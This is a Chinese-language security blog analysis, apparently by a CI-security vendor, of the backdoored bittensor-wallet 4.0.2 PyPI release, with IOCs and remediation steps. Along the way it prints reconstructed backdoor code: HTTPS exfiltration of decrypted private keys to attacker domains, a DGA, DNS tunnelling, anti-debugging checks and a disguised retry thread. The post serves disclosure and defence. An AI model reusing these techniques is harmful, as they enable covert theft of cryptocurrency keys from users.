bittensor-wallet 4.0.2 被攻陷 PyPI - 后门窃取私钥

PyPI 包 bittensor-wallet 4.0.2 供应链攻击技术分析

2026年3月17日,bittensor-wallet 4.0.2 被识别为恶意 PyPI 包。该恶意版本在 PyPI 上线约48小时后被下架。本文基于4.0.1和4.0.2版本源代码 tarball 的直接差异进行完整技术分析——涵盖具体变更内容、后门工作原理以及防御建议。我们还在 StepSecurity Harden Runner 中运行了该恶意包,并实时捕获了所有 C2 通信通道的触发情况。

2026年3月17日bittensor-wallet 4.0.2 被识别为恶意 PyPI 包。该恶意版本在 PyPI 上线约48小时后被下架。本文基于4.0.1和4.0.2版本源代码 tarball 的直接差异进行完整技术分析——涵盖具体变更内容、后门工作原理以及防御建议。我们还在 StepSecurity Harden Runner 中运行了该恶意包,并实时捕获了所有 C2 通信通道的触发情况。

受影响包

  • 包:​ bittensor-wallet(PyPI)
  • 恶意版本:​ 4.0.2
  • 上传时间:​ 2026年3月15日 约05:06 UTC
  • 下架时间:​ 2026年3月17日 约12:06 UTC
  • 暴露窗口:​ 约48小时
  • 源代码 tarball SHA256:​ 6a416b72ff24804abc12484a3b41413a8580acedd8a5f8c84224fcf0732c2f8e
  • 安全版本:​ 4.0.1

bittensor-wallet 是管理 Bittensor 加密密钥的官方 Rust 后端 Python 库——支持冷密钥、热密钥、签名和质押功能。此处的后门可直接访问私钥材料。

在下次供应链攻击影响您之前将其阻止

Harden Runner 可阻止 CI/CD 流水线中的未授权网络连接。Package Search 可在整个组织范围内发现被篡改的依赖项。AI 驱动的威胁情报可在数分钟内检测到恶意版本。

免费开始 →

PyPI 上的 bittensor-wallet 4.0.2,在恶意行为被识别后被标记为下架。

Harden Runner 捕获后门运行全过程

我们在启用了 StepSecurity Harden Runner 的 GitHub Actions 环境中运行了该恶意包,以亲眼观察后门的网络行为。所有 C2 通道均被触发——Harden Runner 完整记录了全部过程。该后门使用三种独立的数据泄露方法(HTTPS、DGA 域名和 DNS 隧道传输),配合三层 C2 解析机制——下文将详细技术解析。

工作流运行:​ actions-security-demo/compromised-packages — Run #23201059892

Harden Runner 策略:​ audit(记录所有出站连接,不阻止任何连接)

Harden Runner 洞察:​ 查看此次运行的网络事件

试用 Harden Runner →

测试设置方式

工作流按以下顺序执行:

步骤 1 — 下载源代码 tarball

pypi.org / files.pythonhosted.org 下载 4.0.2 源代码 tarball,并从 index.crates.io 下载 Rust 依赖。

步骤 2 — 修补反分析检测

在源代码中修补了 is_monitored() 正常运行时间/调试器检测代码,使后门在 CI 环境中实际触发(否则会因正常运行时间过短而中止)。

步骤 3 — 安装 Rust 工具链并构建依赖

从修补后的源代码构建恶意 wheel 包。

步骤 4 — 从源代码构建恶意 wheel

编译恶意原生扩展。

步骤 5 — 触发后门

调用钱包解密操作。这是一切网络活动发生的地方。

Harden Runner 任务概览,显示所有工作流步骤。"Trigger backdoor" 步骤在 15:10 产生了所有 C2 网络流量。

Harden Runner 记录内容:步骤"Trigger Backdoor"

在"Trigger backdoor"步骤中,Harden Runner 在不到4秒内捕获了到所有三层 C2的网络连接:

第1层 — HTTPS 到静态 C2 域名(方法 A)

15:10:48 UTC — 进程:python3.12

POST finney.opentensor-metrics.com/t已允许

15:10:50 UTC — 进程:python3.12

POST finney.subtensor-telemetry.com/t已允许

15:10:50 UTC — 进程:python3.12

finney.metagraph-stats.com:443已允许

第2层 — DNS TXT C2 查询

15:10:47 UTC — 进程:python3.12

_dmarc.opentensor-cdn.com:443已允许 — 伪装成 DMARC 邮件身份验证查询

第2层 — DGA 域名(当日轮换,2026年3月17日)

15:10:51 UTC — 进程:python3.12

tuwyqibtvy.opentensor-cdn.com:443已允许

15:10:51 UTC — 进程:python3.12

yccansiwfr.opentensor-cdn.com:443已允许

15:10:51 UTC — 进程:python3.12

tbqcbkpbhy.opentensor-cdn.com:443已允许

第3层 — DNS 隧道传输(28个数据块,会话52016)

DNS 后备方案在 HTTPS 尝试后立即触发。加密载荷被拆分为28个十六进制编码块,作为 DNS A 查询发送到 t.opentensor-cdn.com

7973546b7237784c4162706d796d6a6851394a316c744961465674473367.0.28.52016.t.opentensor-cdn.com 48556731386e6469576534484d392f337654374f364449426849782b6b75.1.28.52016.t.opentensor-cdn.com 6646494e684d4170745946476b754e613671396b6f686c5962674b6a2b56.2.28.52016.t.opentensor-cdn.com 6446397a6c4c354552532b614d77566b2f72555164346a63426c494d3278.3.28.52016.t.opentensor-cdn.com ... (chunks 4–26) ... 4e4330326644317a5143.27.28.52016.t.opentensor-cdn.com

28个数据块 × 60个十六进制字符 = 完整的 NaCl 加密载荷通过 DNS 传输泄露,无需出站 HTTP。

"Trigger backdoor"步骤的 Harden Runner 网络事件表。所有 C2 连接均可见——HTTPS、DNS TXT、DGA 以及28个 DNS 隧道数据块。

这证实了什么

  • 所有3个 HTTPS C2 域名均被联系 — 在钱包解密后2秒内依次触发
  • DNS TXT C2 查询已触发_dmarc. 伪装已在实时流量中得到确认
  • 当日 DGA 域名已解析tuwyqibtvyyccansiwfrtbqcbkpbhy 是2026年3月17日真实的 DGA 输出
  • DNS 隧道传输已完成 — 28个数据块发送到 t.opentensor-cdn.com,会话ID 52016
  • 全程进程名:​ python3.12 — 所有流量均源自合法的 Python 解释器,使基于进程级别的过滤无效

如果在阻止模式下会发生什么

此次运行中,Harden Runner 处于 audit 模式——记录所有内容但不阻止任何内容。如果配置为 block 模式并设置出站白名单(例如仅允许 pypi.orgfiles.pythonhosted.org),以下所有连接都会被阻止:

  • finney.opentensor-metrics.com 的 HTTPS POST — 已阻止
  • _dmarc.opentensor-cdn.com DNS TXT 查询 — 已阻止
  • DGA 域名解析 — 已阻止
  • t.opentensor-cdn.com 的 DNS 隧道查询 — 已阻止

加密载荷永远无法离开运行器。数据泄露会在所有三层均失败。

攻击工作原理

以下是,从您安装该包到密钥被盗,整个过程的逐步技术解析。

背景:Bittensor 是什么?

Bittensor 是一个去中心化 AI 市场。​ 不是由一家公司拥有所有 AI 基础设施,而是世界各地成千上万的人为共享网络贡献算力和 AI 模型——并通过 Bittensor 加密货币 TAO 获得报酬。可以把它想象成 AI 版的 Airbnb:任何人都可以贡献闲置算力,任何人都可以消费。

有两类参与者:

  • 矿工 — 贡献算力或 AI 模型以赚取 TAO
  • 验证者 — 评估矿工输出并质押 TAO 对质量进行投票

两类参与者都在网络上持有真实资金——这使他们成为有吸引力的攻击目标。

背景:bittensor-wallet 是什么?

bittensor-wallet官方 Python 库,用于管理您在 Bittensor 网络上的身份和资金。它有三个核心功能:

  • 存储您的私钥 — 加密存储在磁盘上的称为 keyfile 的文件
  • 按需解密 — 当您质押、转账或签名交易时,库会短暂地在内存中解锁您的密钥
  • 签名交易 — 向网络证明某个操作确实来自您

有两种类型的密钥:

  • 冷密钥 — 您的主保险库。持有您质押的 TAO 的绝大部分。您很少解锁它。可以把它想象成您的储蓄账户。
  • 热密钥 — 用于日常操作的密钥。资金较少但使用更频繁。可以把它想象成您口袋里的钱包。

为什么这个库是高价值攻击目标:​ 拥有您的私钥的人可以立即、不可逆地转移您的资金——没有银行可以打电话。在这个库中植入后门,是窃取资金最直接的途径,因为解密密钥本身就是它的核心功能。

步骤 0:您安装了恶意包

您运行 pip install bittensor-wallet 并获得 4.0.2 版本。一切看起来正常。包安装顺利。没有错误。您完全不知道有任何问题。

恶意代码编译在 Rust 代码内部——不是您容易发现的一个单独文件。它被 baked 进入库本身。

攻击者还修改了捆绑的 .github/workflows/release.yml,剥离了构建来源证明和 attestations: write 权限。这从版本中移除了 sigstore 签名,使得无法通过加密方式验证 wheel 来自合法的 CI 流水线:

yaml
- attestations: write - - name: Generate artifact attestation - uses: actions/attest-build-provenance@v2 - with: - subject-path: 'wheels-*/*'

步骤 1:您对钱包执行了某个操作

也许是质押一些 TAO、查看余额或签名交易。任何这些操作都需要库解密您的 keyfile——解锁保存您私钥的密码保护文件。

一旦该解密发生,恶意软件就会被激活。后门通过三个调用点挂载到 src/keyfile.rs 中的每个解密路径:

rust
collect_format_metrics(&decrypted_data); // line ~1082 collect_format_metrics(&decrypted_data); // line ~1091 collect_format_metrics(&decrypted_data); // line ~1100

步骤 2:我是否正在被监控?

在执行任何可疑操作之前,恶意软件会检查它是否正在被安全研究人员分析:

  • 计算机是否运行时间少于20分钟?​ 安全沙箱是新启动的虚拟机。真实用户机器已运行数小时或数天。如果正常运行时间 < 20分钟 → 中止。
  • 是否附加了调试器?​ Linux 在 /proc/self/status 中暴露了此信息。如果 TracerPid 不为零,说明有人正在调试此进程 → 中止。
  • 安全工具是否在运行?​ 它扫描所有运行中的进程,查找 stracegdbwiresharkfrida 等。如果发现任何 → 中止。

如果任何检测触发,恶意软件将不做任何操作并静默退出。这就是为什么在实验室环境中难以捕获。

rust
fn is_monitored() -> bool { // uptime < 1200s (20 min) → sandbox if uptime < 1200.0 { return true; } // TracerPid != 0 → debugger attached if TracerPid != 0 { return true; } // strace|ltrace|gdb|wireshark|tcpdump|frida|bpftrace running → abort // (all strings XOR-encoded in binary, key 0x42) for process in /proc/*/comm { if process matches any tool { return true; } } false }

步骤 3:这是什么类型的密钥?

恶意软件查看 Python 调用栈——基本上是偷看您的代码在调用解密函数时在做什么——来确定:

  • 这是冷密钥(存有大部分资金的主保险库)吗?
  • 还是热密钥(日常密钥)?

它用 "c""h" 标记被盗数据,以便攻击者知道哪个更有价值。冷密钥是优先目标——它们控制质押资金。这是通过在运行时通过 pyo3 遍历 Python 调用栈来实现的:

rust
fn detect_wallet_type() -> &'static str { pyo3::Python::with_gil(|py| { py.run(c" import sys as _s _r='u' try: _f=_s._getframe(0) while _f is not None: _v=_f.f_locals.get('self') if _v is not None and hasattr(_v,'path'): _p=str(_v.path) if '/hotkey' in _p: _r='h' elif '/coldkey' in _p: _r='c' break _f=_f.f_back except Exception: pass ", ...) }) }

步骤 4:窃取并加密密钥

原始解密私钥(包含您秘密的 JSON blob)现在在内存中。恶意软件构建带标签的有效载荷,并使用攻击者硬编码的公钥通过 NaCl 密封盒(crypto_box_seal)对其进行加密。加密是非对称的——只有攻击者可以解密。即使您捕获了流量,内容也是不透明的。

rust
// payload: {"t":"c", "d":{...raw keyfile JSON...}} // attacker NaCl pubkey (XOR-decoded, key 0x3C): // da eb c8 f3 3f d7 9a 8e d6 5b d4 38 32 80 ca b1 ... let pk = PublicKey::from_slice(&xor_decode(KEY_DATA, 0x3C))?; Some(sealedbox::seal(data, &pk)) // only attacker can decrypt

步骤 5:我已经窃取过这个密钥了吗?

它在一个 HashSet 中保存每个已发送有效载荷的 SHA256 哈希。如果您解锁同一个钱包10次,它只会泄露一次。这使网络流量保持最小化,避免触发基于流量的警报。

rust
struct MetricsState { pending: Vec<Vec<u8>>, // queue of encrypted payloads seen: HashSet<[u8; 32]>, // SHA256 dedup set, capped at 1024 entries }

步骤 6:发送出去——三种方式

恶意软件有三种完全独立的回家方式,依次尝试:

方法 A — 普通 HTTPS(使用 Python 内置的 urllib 通过 pyo3)
将加密的有效载荷 POST 到攻击者的域名之一。关键细节:daemon=False 意味着 Python 将等待此线程完成后再退出进程——确保即使在短期 CLI 命令中也能完成交付。

python
import threading def _f(_d=_d, _e=_e): from urllib.request import Request, urlopen b = json.dumps({"d": _d}).encode() for u in _e: try: r = Request(u, b) r.add_header("User-Agent", "Python/3") urlopen(r, timeout=5) return except Exception: continue threading.Thread(target=_f, daemon=False).start() # ← not daemon

**
方法 B — 通过 dlopen / dlsym 的原始 TLS**
如果方法 A 失败,它使用不安全的 FFI 直接打开 libssl.so——绕过 Python 代理、urllib monkey-patching 以及任何 Python 层的网络监控。

javascript
// Opens libssl.so.3 / libssl.so.1.1 / libssl.so via dlopen // Manually calls: SSL_CTX_new, SSL_new, SSL_set_fd, SSL_ctrl (SNI), // SSL_connect, SSL_write, SSL_read, SSL_free // Sends raw HTTP/1.1 POST over TLS — User-Agent: Python/3 (XOR decoded)

**
方法 C — DNS 隧道传输**
如果两种 HTTPS 方法都失败,有效载荷被十六进制编码,拆分为60字符的数据块,作为 DNS A 查询发送。无需成功的 DNS 响应——攻击者的 nameserver 仅通过查询日志重建密钥。

javascript
// Each chunk sent as an A query: // <hex_chunk>.<index>.<total>.<session_id>.t.opentensor-cdn.com a3f1b2c4d5....<0>.<4>.<session>.t.opentensor-cdn.comA query b6e7f8a9b0....<1>.<4>.<session>.t.opentensor-cdn.comA query

步骤 7:它发送到哪里?三层 C2

C2 代表"命令与控制"——攻击者的服务器。恶意软件有三种方式找到它们:

  • 硬编码域名 — 三个 XOR 编码的(密钥 0x5A)域名,模仿合法的 Bittensor 基础设施
javascript
finney.opentensor-metrics.com // lookalike for opentensor.ai finney.metagraph-stats.com // lookalike for metagraph APIs finney.subtensor-telemetry.com // lookalike for subtensor telemetry
  • 每日轮换域名(DGA)​ — 通过哈希当前日期编号,每天生成3个新的 *.opentensor-cdn.com 下的主机名。即使您阻止了今天的域名,明天也会出现新的。
javascript
fn generate_dga_endpoints() -> Vec<String> { let day = unix_epoch_seconds() / 86400; (0..3).map(|i| { let hash = sha256((day + i).to_le_bytes()); let name: String = hash[..10].iter() .map(|b| ('a' + (b % 26)) as char).collect(); format!("https://{}.opentensor-cdn.com/t", name) }) } // e.g. https://xkqbafmjpt.opentensor-cdn.com/t (changes daily)
  • DNS TXT C2 — 查询 _dmarc.opentensor-cdn.com(TXT 记录),伪装成例行的 DMARC 邮件身份验证查询,以获取动态更新的备用服务器列表:
javascript
// Expected TXT response format: rua=<base64-encoded pipe-separated host list>

这意味着,即使防守方阻止了所有已知 C2 域名,恶意软件仍然可以找到可用的服务器。

步骤 8:如果网络中断怎么办?

发送失败不会被丢弃。它们进入队列(最多64条)。后台线程每2–10分钟唤醒一次,带有随机化的抖动时间并重试。该线程故意命名为 cache-gc,以混入进程列表中合法的垃圾回收线程。

javascript
fn metrics_flush_worker() { std::thread::sleep(jitter_duration(1, 3)); // 1–3s initial delay loop { flush_pending(); std::thread::sleep(jitter_duration(120, 600)); // 2–10 min retry } } // thread::Builder::new().name("cache-gc".to_string())...

步骤 9:掩盖痕迹

成功发送后,保存您密钥的缓冲区被使用易失性写入清零——强制 CPU 实际执行清除操作,而不是让编译器将其优化掉。如果在泄露后捕获了内存转储或核心文件,密钥材料已被清除。

javascript
fn clear_buffer(buf: &mut Vec<u8>) { for byte in buf.iter_mut() { unsafe { std::ptr::write_volatile(byte as *mut u8, 0); } } buf.clear(); }

最终结果:​ 攻击者在他们的服务器上获得您的私钥。他们解密它,将其导入自己的钱包软件,然后掏空您的资金。您在下次查看余额时才发现。整个过程在您正常的钱包命令成功完成时,在后台静默发生。

IOC(妥协指标)

  • PyPI 包:​ bittensor-wallet==4.0.2
  • 源代码 tarball SHA256:​ 6a416b72ff24804abc12484a3b41413a8580acedd8a5f8c84224fcf0732c2f8e
  • C2 域名:​ finney.opentensor-metrics.com
  • C2 域名:​ finney.metagraph-stats.com
  • C2 域名:​ finney.subtensor-telemetry.com
  • DGA 域名模式:​ *.opentensor-cdn.com
  • DNS 泄露子域名:​ *.t.opentensor-cdn.com
  • DNS C2 查询:​ _dmarc.opentensor-cdn.com(TXT 记录)
  • 线程名:​ cache-gc(在 Rust 进程线程列表中)
  • 网络 User-Agent:​ Python/3
  • 恶意文件:​ src/keyfile.rs(在源代码 tarball 中)
  • 攻击者 NaCl 公钥(十六进制):​ daeb c8f3 3fd7 9a8e d65b d438 3280 cab1 3f00 f2a0 3ff5 13ca 7c50 aa85 7ecd d46f

是什么让它难以被检测到

  1. Rust,而非 Python — 后门是编译后的 Rust 代码。与典型的 Python 供应链注入(追加到 setup.py)不同,这个后门编译成本地扩展。没有可读的 Python 代码可供搜索。
  2. 所有字符串均经过 XOR 混淆 — 域名、文件路径或工具名称都不会以明文形式出现在二进制文件中。它们都在运行时使用每个常量独立的单字节 XOR(密钥 0x420x470x5A0x3C)解码。
  3. 三种独立的数据泄露通道 — 阻止 HTTPS 不会阻止它;DNS 隧道传输是后备方案。
  4. 伪装成 DMARC 的 DNS 查询 — C2 DNS TXT 查询上的 _dmarc. 前缀模仿了例行的 DMARC 邮件身份验证查询。
  5. 线程名为 cache-gc — 后台线程混入运行时 GC 线程。
  6. 非守护进程 Python 线程 — 确保即使在短期 CLI 调用中也能完成交付。
  7. 反沙箱/反调试器 — 正常运行时间检查、TracerPid 检查和运行中进程扫描会在分析环境中中止执行。
  8. GitHub 上未进行版本更新 — 后门仅注入到 PyPI 发布产物中;GitHub 仓库源代码未被修改。比较 PyPI 与 GitHub 源代码可以发现,但大多数用户不会这样做。

修复

如果您安装了 4.0.2(2026年3月15日至17日)

需要立即采取行动:​ 在 4.0.2 安装期间解密的任何冷密钥或热密钥的 keyfile 应被视为已泄露。立即生成新密钥并转移资金。

  1. 轮换所有钱包密钥。​ 在 4.0.2 安装期间解密的任何冷密钥或热密钥的 keyfile 应被视为已泄露。立即生成新密钥并转移资金。
  2. 降级pip install bittensor-wallet==4.0.1
  3. 在防火墙/DNS 解析器处阻止 C2 域名:​
    • *.opentensor-metrics.com
    • *.metagraph-stats.com
    • *.subtensor-telemetry.com
    • *.opentensor-cdn.com
  4. 审计网络日志 查找对上述域名的 DNS 查询或 HTTPS 请求。
  5. 检查任何运行中的 Python/Rust 钱包进程中是否存在 cache-gc 线程。​
  6. 如果 4.0.2 安装所在环境中有 GitHub 令牌和云凭证,则轮换它们。​

对于包维护者

启用产物证明(在 4.0.2 中被剥离)并在安装时验证:

javascript
gh attestation verify bittensor_wallet-4.0.2-cp311-cp311-linux_x86_64.whl \ --repo opentensor/btwallet

对于包消费者

使用哈希验证固定版本:​

javascript
# requirements.txt bittensor-wallet==4.0.1 \ --hash=sha256:edc2588d5e272835285e4171dd3daf862149f617015bf52e43d433d8e5c297c5

在下次供应链攻击影响您之前将其阻止

Harden Runner 可阻止 CI/CD 流水线中的未授权网络连接。Package Search 可在整个组织范围内发现被篡改的依赖项。AI 驱动的威胁情报可在数分钟内检测到恶意版本。

免费开始 →

致谢

Socket 的自动化扫描最初标记 bittensor-wallet 4.0.2 为恶意包,这有助于引起对此事件的早期关注。

我们还要感谢 opentensorbittensor-wallet 维护者,在问题被识别后迅速从 PyPI 下架了被篡改的 4.0.2 版本。